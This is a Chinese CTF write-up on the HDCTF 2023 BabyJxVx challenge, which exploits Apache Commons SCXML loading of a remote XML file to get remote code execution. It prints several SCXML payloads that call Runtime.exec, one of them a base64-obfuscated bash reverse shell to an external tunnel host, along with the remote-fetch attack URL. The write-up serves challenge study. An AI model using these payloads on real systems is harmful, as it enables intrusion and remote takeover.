前言
在做 [HDCTF 2023]BabyJxVx 遇到的知识点,但是没公网的服务器只能作罢,写下这篇文章记录(已解决)
源码利用
题目提供一个附件,idea反编译后
查看网站的Controller目录,其中有一个Flagcontroller类,源码如下:
@RequestMapping({"/Flag"})
@ResponseBody
public String Flag(@RequestParam(required = true) String filename) {
SCXMLExecutor executor = new SCXMLExecutor();
try {
if (check(filename)) {
SCXML scxml = SCXMLReader.read(filename);
executor.setStateMachine(scxml);
executor.go();
return "Revenge to me!";
}
System.out.println("nonono");
} catch (Exception var4) {
System.out.println(var4);
}
return "revenge?";
}
大概考点就是在/Flag
路由下接收filename参数,然后利用SCXMLReader.read()方法来读取恶意xml
上传恶意xml文件
构造payload
shell.xml源码
<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
<final id="run">
<onexit>
<assign location="flag" expr="''.getClass().forName('java.lang.Runtime').getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC81aTc4MTk2M3AyLnlpY3AuZnVuLzU4MjY1IDA+JjE=}|{base64,-d}|{bash,-i}')"/>
</onexit>
</final>
</scxml>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
:定义了一个 SCXML 状态机,其中 xmlns属性指定了命名空间,version属性指定了版本,initial 属性指定了初始状态为 run。<final id="run">
:定义了一个状态,它是最终状态,它的 id 属性为 run。<onexit>
:定义了一个事件,在退出状态时触发<assing........>
: location 属性指定了要赋值的变量名称,expr 属性指定了要赋给变量的值。
除此之外还有很多构造的
<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
<state id="run">
<onentry>
<script>
''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')
</script>
</onentry>
</state>
</scxml>
<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
<state id="run">
<onentry>
<if cond="''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')"></if>
</onentry>
</state>
</scxml>
<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
<datamodel>
<data id="flag" expr="''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')"></data>
</datamodel>
</scxml>
<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
<parallel>
<invoke src="test" content="test" id="flag">
<param name="flag" expr="''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')"></param>
</invoke>
</parallel>
</scxml>
<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
<state>
<history src="test" content="test" id="flag">
<transition name="flag" cond="''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')"></transition>
</history>
</state>
</scxml>
搭建临时文件服务器
利用内网穿透https服务器映射我们虚拟机的8000端口
(注意用花生壳的https而不是tcp,因为tcp的无法访问web)
我们开启临时文件服务器,执行下面命令
python3 -m http.server 8000
访问8000端口,成功访问
远程RCE
我们直接在题目处远程RCE读取我们的xml文件,payload如下
http://node4.anna.nssctf.cn:28052/Flag?filename=https://5i781963p2.yicp.fun/shell.xml
注:其他师傅payload为http服务器,我用的是https
反弹shell成功,得到flag